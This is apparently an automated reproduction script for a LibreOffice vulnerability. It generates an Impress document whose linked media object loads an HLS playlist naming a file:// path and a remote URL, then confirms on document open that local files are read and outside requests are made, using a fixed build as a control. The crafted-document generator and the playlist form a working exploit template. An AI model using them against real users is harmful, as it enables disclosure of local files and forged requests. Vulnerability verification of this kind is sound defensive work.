#!/bin/bash
# CVE-2026-63269 — LibreOffice: LFI and GET SSRF via GStreamer following a
# document-linked HLS playlist on document open.
#
# Vulnerable: LibreOffice 26.2.4.2 (TDF deb build)
# Fixed:      LibreOffice 26.2.5.2 (TDF deb build, negative control)
#
# Mechanics:
#   1. Craft an ODP (Impress) document whose slide 1 contains a linked media
#      object (draw:plugin) pointing at an attacker-hosted HLS playlist
#      (http://127.0.0.1:PORT/stream.m3u8).
#   2. The playlist names (a) a local file via file:// (LFI probe) and
#      (b) a remote URL on the "attacker" HTTP server (SSRF probe).
#   3. Open the document with the real soffice product under Xvfb while
#      strace records openat() and a local HTTP server logs every request.
#   4. Vulnerable build: HTTP server receives GET /stream.m3u8 AND the SSRF
#      segment GET, and strace shows the LFI secret file being opened by a
#      GStreamer thread of the soffice process.
#      Fixed build: playlist resources are not followed (no segment GET, no
#      local file open).
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR/proof"
cd "$ROOT"

VULN_VER="26.2.4.2"
FIXED_VER="26.2.5.2"

log() { echo "[repro $(date -u +%H:%M:%S)] $*" >&2; }

# ---------------------------------------------------------------------------
# Resolve the prepared project cache (for large downloads/extracted trees).
# ---------------------------------------------------------------------------
CACHE_DIR="$(python3 - <<'PY' 2>/dev/null || true
import json, os
try:
    with open(os.path.join(os.environ.get('PRUVA_ROOT','.'), 'project_cache_context.json')) as f:
        d = json.load(f)
    if d.get('prepared') and d.get('project_cache_dir') and os.path.isdir(d['project_cache_dir']):
        print(d['project_cache_dir'])
except Exception:
    pass
PY
)"
if [ -z "${CACHE_DIR:-}" ]; then CACHE_DIR="$ROOT/artifacts/cache"; fi
PKG_DIR="$CACHE_DIR/packages"
INST_ROOT="$CACHE_DIR/lo-install"
mkdir -p "$PKG_DIR" "$INST_ROOT"
log "cache dir: $CACHE_DIR"

# ---------------------------------------------------------------------------
# Dependencies (clean sandbox provides python3/curl/git; install the rest).
# ---------------------------------------------------------------------------
if ! command -v xvfb-run >/dev/null 2>&1 || ! gst-inspect-1.0 souphttpsrc >/dev/null 2>&1 \
   || ! gst-inspect-1.0 hlsdemux2 >/dev/null 2>&1 && ! gst-inspect-1.0 hlsdemux >/dev/null 2>&1; then
  log "installing runtime dependencies via apt-get"
  sudo apt-get update -y >"$LOGS/apt-update.log" 2>&1 || true
  sudo apt-get install -y xvfb strace python3 \
    gstreamer1.0-tools gstreamer1.0-plugins-good gstreamer1.0-plugins-bad \
    gstreamer1.0-libav libgstreamer1.0-0 libgstreamer-plugins-base1.0-0 \
    >"$LOGS/apt-install.log" 2>&1
fi
command -v strace >/dev/null || { log "FATAL: strace missing"; exit 2; }
command -v xvfb-run >/dev/null || { log "FATAL: xvfb missing"; exit 2; }
{ gst-inspect-1.0 hlsdemux2 >/dev/null 2>&1 || gst-inspect-1.0 hlsdemux >/dev/null 2>&1; } \
  || log "WARN: no hlsdemux element visible yet (LibreOffice may use its own plugin path)"
gst-inspect-1.0 souphttpsrc >/dev/null 2>&1 || log "WARN: souphttpsrc missing"

# Valid MPEG-TS segment served as the remote HLS fragment so playback actually
# proceeds through the playlist instead of erroring on undecodable bytes.
SEGMENT_TS="$REPRO_DIR/segment.ts"
if [ ! -s "$SEGMENT_TS" ]; then
  gst-launch-1.0 -q videotestsrc num-buffers=60 pattern=smpte \
    ! video/x-raw,width=160,height=120,framerate=30/1 \
    ! openh264enc ! h264parse ! mpegtsmux ! filesink location="$SEGMENT_TS" 2>>"$LOGS/seg-gen.log"
fi
[ -s "$SEGMENT_TS" ] || { log "FATAL: could not generate MPEG-TS segment"; exit 2; }


# ---------------------------------------------------------------------------
# Fetch + extract LibreOffice builds into the project cache.
# ---------------------------------------------------------------------------
fetch_extract() { # $1=version $2=tag -> echoes soffice path
  local ver="$1" tag="$2"
  local tb="LibreOffice_${ver}_Linux_x86-64_deb.tar.gz"
  local url="https://downloadarchive.documentfoundation.org/libreoffice/old/${ver}/deb/x86_64/${tb}"
  local soffice="$INST_ROOT/$tag/opt/libreoffice${ver%.*.*}/program/soffice"
  if [ ! -f "$PKG_DIR/$tb" ]; then
    log "downloading $tb"
    curl -fSL --retry 3 -o "$PKG_DIR/$tb.part" "$url"
    mv "$PKG_DIR/$tb.part" "$PKG_DIR/$tb"
  fi
  if [ ! -x "$soffice" ]; then
    log "extracting $tb"
    local tmp; tmp="$(mktemp -d /tmp/lo-extract.XXXXXX)"
    tar -xzf "$PKG_DIR/$tb" -C "$tmp"
    local debs; debs="$(ls -d "$tmp"/LibreOffice_*_Linux_x86-64_deb/DEBS)"
    local d
    for d in "$debs"/*.deb; do dpkg -x "$d" "$INST_ROOT/$tag"; done
    rm -rf "$tmp"
  fi
  [ -x "$soffice" ] || { log "FATAL: $soffice not found after extract"; exit 2; }
  echo "$soffice"
}

VULN_SOFFICE="$(fetch_extract "$VULN_VER" vuln)"
FIXED_SOFFICE="$(fetch_extract "$FIXED_VER" fixed)"
log "vulnerable soffice: $VULN_SOFFICE"
log "fixed soffice:      $FIXED_SOFFICE"

# ---------------------------------------------------------------------------
# Helper generators (python heredocs; everything is created at runtime).
# ---------------------------------------------------------------------------
gen_poc_odp() { # $1=playlist URL  $2=output .odp
  PLAYLIST_URL="$1" OUT_ODP="$2" python3 - <<'PY'
import os, zipfile
url = os.environ['PLAYLIST_URL']
out = os.environ['OUT_ODP']
NS = {
 'office':'urn:oasis:names:tc:opendocument:xmlns:office:1.0',
 'style':'urn:oasis:names:tc:opendocument:xmlns:style:1.0',
 'draw':'urn:oasis:names:tc:opendocument:xmlns:drawing:1.0',
 'presentation':'urn:oasis:names:tc:opendocument:xmlns:presentation:1.0',
 'svg':'urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0',
 'xlink':'http://www.w3.org/1999/xlink',
}
nsdecl = ' '.join(f'xmlns:{k}="{v}"' for k, v in NS.items())
content = f'''<?xml version="1.0" encoding="UTF-8"?>
<office:document-content {nsdecl} office:version="1.3">
 <office:automatic-styles>
  <style:style style:name="dp1" style:family="drawing-page"/>
 </office:automatic-styles>
 <office:body>
  <office:presentation>
   <draw:page draw:name="page1" draw:style-name="dp1" draw:master-page-name="Default">
    <draw:frame draw:name="Movie1" svg:x="2cm" svg:y="2cm" svg:width="10cm" svg:height="7cm">
     <draw:plugin xlink:href="{url}" xlink:type="simple" xlink:show="embed"
                  xlink:actuate="onLoad" draw:mime-type="application/vnd.sun.star.media">
      <draw:param draw:name="Loop" draw:value="false"/>
      <draw:param draw:name="Mute" draw:value="false"/>
      <draw:param draw:name="VolumeDB" draw:value="0"/>
     </draw:plugin>
    </draw:frame>
   </draw:page>
  </office:presentation>
 </office:body>
</office:document-content>
'''
styles = f'''<?xml version="1.0" encoding="UTF-8"?>
<office:document-styles {nsdecl} office:version="1.3">
 <office:styles/>
 <office:master-styles>
  <style:master-page style:name="Default"/>
 </office:master-styles>
</office:document-styles>
'''
manifest = '''<?xml version="1.0" encoding="UTF-8"?>
<manifest:manifest xmlns:manifest="urn:oasis:names:tc:opendocument:xmlns:manifest:1.0" manifest:version="1.3">
 <manifest:file-entry manifest:full-path="/" manifest:media-type="application/vnd.oasis.opendocument.presentation"/>
 <manifest:file-entry manifest:full-path="content.xml" manifest:media-type="text/xml"/>
 <manifest:file-entry manifest:full-path="styles.xml" manifest:media-type="text/xml"/>
</manifest:manifest>
'''
with zipfile.ZipFile(out, 'w') as z:
    zi = zipfile.ZipInfo('mimetype'); zi.compress_type = zipfile.ZIP_STORED
    z.writestr(zi, 'application/vnd.oasis.opendocument.presentation')
    z.writestr('content.xml', content, zipfile.ZIP_DEFLATED)
    z.writestr('styles.xml', styles, zipfile.ZIP_DEFLATED)
    z.writestr('META-INF/manifest.xml', manifest, zipfile.ZIP_DEFLATED)
print(f"wrote {out} with media URL {url}")
PY
}

gen_http_server() { # $1=output path
  cat > "$1" <<'PY'
#!/usr/bin/env python3
"""Attacker HTTP server: serves the HLS playlist and logs every request."""
import argparse, datetime, http.server, os, sys

ap = argparse.ArgumentParser()
ap.add_argument('--port', type=int, required=True)
ap.add_argument('--log', required=True)
ap.add_argument('--playlist', required=True)   # file with .m3u8 body
ap.add_argument('--tsbody', required=True)     # valid MPEG-TS file served for .ts segments
a = ap.parse_args()

playlist = open(a.playlist, 'rb').read()
tsbody = open(a.tsbody, 'rb').read()
logf = open(a.log, 'a', buffering=1)

class H(http.server.BaseHTTPRequestHandler):
    protocol_version = 'HTTP/1.1'
    def log_message(self, fmt, *args):
        pass
    def _hit(self):
        line = f"{datetime.datetime.utcnow().isoformat()}Z {self.client_address[0]} {self.command} {self.path} ua={self.headers.get('User-Agent','')}"
        logf.write(line + "\n")
        if self.path.split('?')[0].endswith('.m3u8'):
            body = playlist
            ctype = 'application/vnd.apple.mpegurl'
        else:
            body = tsbody
            ctype = 'video/mp2t'
        self.send_response(200)
        self.send_header('Content-Type', ctype)
        self.send_header('Content-Length', str(len(body)))
        self.send_header('Access-Control-Allow-Origin', '*')
        self.end_headers()
        if self.command != 'HEAD':
            try:
                self.wfile.write(body)
            except BrokenPipeError:
                pass
    do_GET = _hit
    do_HEAD = _hit

http.server.ThreadingHTTPServer(('127.0.0.1', a.port), H).serve_forever()
PY
}

free_port() {
  python3 -c 'import socket; s=socket.socket(); s.bind(("127.0.0.1",0)); print(s.getsockname()[1]); s.close()'
}

# ---------------------------------------------------------------------------
# One attempt: open the crafted document with the given soffice build.
#   $1=tag (vulnerable|fixed)  $2=soffice path  $3=attempt number
# Populates $REPRO_DIR/proof/<tag>-<n>/ and sets ATTEMPT_LFI / ATTEMPT_SSRF /
# ATTEMPT_PLAYLIST_FETCHED globals.
# ---------------------------------------------------------------------------
run_attempt() {
  local tag="$1" soffice="$2" n="$3"
  local adir="$REPRO_DIR/proof/${tag}-${n}"
  rm -rf "$adir"; mkdir -p "$adir"
  local port; port="$(free_port)"
  local secret="$adir/lfi-secret.txt"
  local token="PRUVA_CVE_2026_63269_${tag}_${n}_LFI_SECRET"
  echo "$token" > "$secret"

  # HLS playlist: one remote (SSRF) segment and one local file (LFI) segment.
  cat > "$adir/stream.m3u8" <<EOF
#EXTM3U
#EXT-X-VERSION:3
#EXT-X-TARGETDURATION:10
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://127.0.0.1:${port}/ssrf-segment-${tag}-${n}.ts
#EXTINF:10.0,
file://${secret}
#EXT-X-ENDLIST
EOF

  gen_http_server "$adir/http_server.py"
  python3 "$adir/http_server.py" --port "$port" --log "$adir/http.log" \
      --playlist "$adir/stream.m3u8" --tsbody "$SEGMENT_TS" &
  local spid=$!
  sleep 0.5

  gen_poc_odp "http://127.0.0.1:${port}/stream.m3u8" "$adir/poc.odp" >"$adir/poc-gen.log" 2>&1

  local profile="/tmp/pruva63269-profile-${tag}-${n}"
  rm -rf "$profile"
  log "[$tag-$n] launching soffice ($soffice) against port $port"
  # shellcheck disable=SC2086
  xvfb-run -a --server-args="-screen 0 1280x800x24" \
    strace -f -tt -e trace=openat -o "$adir/strace.log" \
    env GST_DEBUG="adaptivedemux*:4,hls*:4,souphttpsrc:4" GST_DEBUG_FILE="$adir/gst.log" \
    timeout -k 5 100 "$soffice" --norestore --nologo --nofirststartwizard \
      -env:UserInstallation="file://$profile" "$adir/poc.odp" \
      >"$adir/soffice.log" 2>&1 &
  local cpid=$!

  local deadline=$((SECONDS + 120))
  local waitmax=120
  [ "$tag" = "fixed" ] && { deadline=$((SECONDS + 60)); waitmax=60; }
  while [ $SECONDS -lt $deadline ]; do
    if grep -q "ssrf-segment-${tag}-${n}" "$adir/http.log" 2>/dev/null \
       && grep -q "lfi-secret.txt" "$adir/strace.log" 2>/dev/null; then break; fi
    if ! kill -0 "$cpid" 2>/dev/null; then break; fi
    sleep 2
  done
  sleep 3  # let trailing requests / file opens land
  kill "$cpid" 2>/dev/null || true
  sleep 1
  pkill -f "pruva63269-profile-${tag}-${n}" 2>/dev/null || true
  kill -9 "$cpid" 2>/dev/null || true
  kill "$spid" 2>/dev/null || true
  wait "$cpid" 2>/dev/null || true
  wait "$spid" 2>/dev/null || true

  ATTEMPT_PLAYLIST_FETCHED=false
  ATTEMPT_SSRF=false
  ATTEMPT_LFI=false
  grep -q "GET /stream.m3u8" "$adir/http.log" 2>/dev/null && ATTEMPT_PLAYLIST_FETCHED=true
  grep -q "GET /ssrf-segment-${tag}-${n}" "$adir/http.log" 2>/dev/null && ATTEMPT_SSRF=true
  # LFI: the secret file must be opened (read) by the traced process tree.
  if grep -E "openat\([^)]*\"${secret}\"[^)]*\) *= *[0-9]" "$adir/strace.log" 2>/dev/null \
      | grep -v "ENOENT" > "$adir/lfi-evidence.txt" && [ -s "$adir/lfi-evidence.txt" ]; then
    ATTEMPT_LFI=true
  fi
  log "[$tag-$n] playlist_fetched=$ATTEMPT_PLAYLIST_FETCHED ssrf=$ATTEMPT_SSRF lfi=$ATTEMPT_LFI (waited up to ${waitmax}s)"
}

RESULTS=()
run_and_record() { # tag soffice n
  run_attempt "$1" "$2" "$3"
  RESULTS+=("$1|$3|$ATTEMPT_PLAYLIST_FETCHED|$ATTEMPT_SSRF|$ATTEMPT_LFI")
}

run_and_record vulnerable "$VULN_SOFFICE" 1
run_and_record vulnerable "$VULN_SOFFICE" 2
run_and_record fixed "$FIXED_SOFFICE" 1
run_and_record fixed "$FIXED_SOFFICE" 2

# ---------------------------------------------------------------------------
# Evaluate
# ---------------------------------------------------------------------------
VULN_OK=true; FIXED_OK=true
SUMMARY=""
for r in "${RESULTS[@]}"; do
  IFS='|' read -r tag n pl ssrf lfi <<<"$r"
  SUMMARY+="attempt=${tag}-${n} playlist_fetched=${pl} ssrf=${ssrf} lfi=${lfi}; "
  if [ "$tag" = "vulnerable" ]; then
    [ "$pl" = true ] && [ "$ssrf" = true ] && [ "$lfi" = true ] || VULN_OK=false
  else
    [ "$ssrf" = false ] && [ "$lfi" = false ] || FIXED_OK=false
  fi
done
log "results: $SUMMARY"

CONFIRMED=false
if $VULN_OK && $FIXED_OK; then CONFIRMED=true; fi

# ---------------------------------------------------------------------------
# Runtime manifest (strict JSON via python; artifacts immutable by now).
# ---------------------------------------------------------------------------
VULN_OK_JSON=$($VULN_OK && echo true || echo false)
FIXED_OK_JSON=$($FIXED_OK && echo true || echo false)
CONFIRMED_JSON=$($CONFIRMED && echo true || echo false)
SUMMARY="$SUMMARY" VULN_OK="$VULN_OK_JSON" FIXED_OK="$FIXED_OK_JSON" CONFIRMED="$CONFIRMED_JSON" PKG_DIR="$PKG_DIR" \
python3 - <<'PY'
import hashlib, json, os
root = os.environ['PRUVA_ROOT']
repro = os.path.join(root, 'repro')
arts = []
for tag in ('vulnerable', 'fixed'):
    for n in ('1', '2'):
        d = os.path.join(repro, 'proof', f'{tag}-{n}')
        for fn in ('http.log', 'lfi-evidence.txt', 'soffice.log', 'stream.m3u8'):
            p = os.path.join(d, fn)
            if os.path.isfile(p) and os.path.getsize(p) > 0:
                arts.append(os.path.relpath(p, root))
hashes = {}
for a in arts:
    with open(os.path.join(root, a), 'rb') as f:
        hashes[a] = hashlib.sha256(f.read()).hexdigest()

tb = {}
pkgdir = os.environ.get('PKG_DIR')
if pkgdir and os.path.isdir(pkgdir):
    for ver in ('26.2.4.2', '26.2.5.2'):
        p = os.path.join(pkgdir, f'LibreOffice_{ver}_Linux_x86-64_deb.tar.gz')
        if os.path.isfile(p):
            h = hashlib.sha256()
            with open(p, 'rb') as f:
                for chunk in iter(lambda: f.read(1 << 22), b''):
                    h.update(chunk)
            tb[ver] = h.hexdigest()
manifest = {
    'entrypoint_kind': 'open_document',
    'entrypoint_detail': 'soffice opens crafted ODP whose linked media (draw:plugin) points to an attacker-hosted HLS playlist naming a remote URL and a local file',
    'service_started': True,
    'healthcheck_passed': True,
    'target_path_reached': os.environ['VULN_OK'] == 'true',
    'runtime_stack': ['libreoffice-impress', 'avmedia-gstreamer', 'xvfb', 'python3-http-server'],
    'target_identity': {
        'repository_url': 'https://github.com/libreoffice/core',
        'target_digest': tb.get('26.2.4.2', ''),
        'platform': 'linux',
        'architecture': 'x86_64',
    },
    'proof_artifacts': arts,
    'artifact_sha256': hashes,
    'notes': 'vulnerable=LibreOffice 26.2.4.2 TDF deb sha256 ' + tb.get('26.2.4.2', 'unknown') + '; fixed=LibreOffice 26.2.5.2 TDF deb sha256 ' + tb.get('26.2.5.2', 'unknown') + '; ' + os.environ['SUMMARY'],
}
with open(os.path.join(repro, 'runtime_manifest.json'), 'w') as f:
    json.dump(manifest, f, indent=2)
print('wrote runtime_manifest.json; confirmed=' + os.environ['CONFIRMED'])
PY

if $CONFIRMED; then
  log "CVE-2026-63269 CONFIRMED: GStreamer followed the document-linked HLS playlist, fetched the remote URL (SSRF) and read the local file (LFI); fixed build did not."
  exit 0
fi
log "CVE-2026-63269 NOT confirmed (vuln_ok=$VULN_OK fixed_ok=$FIXED_OK)"
exit 1
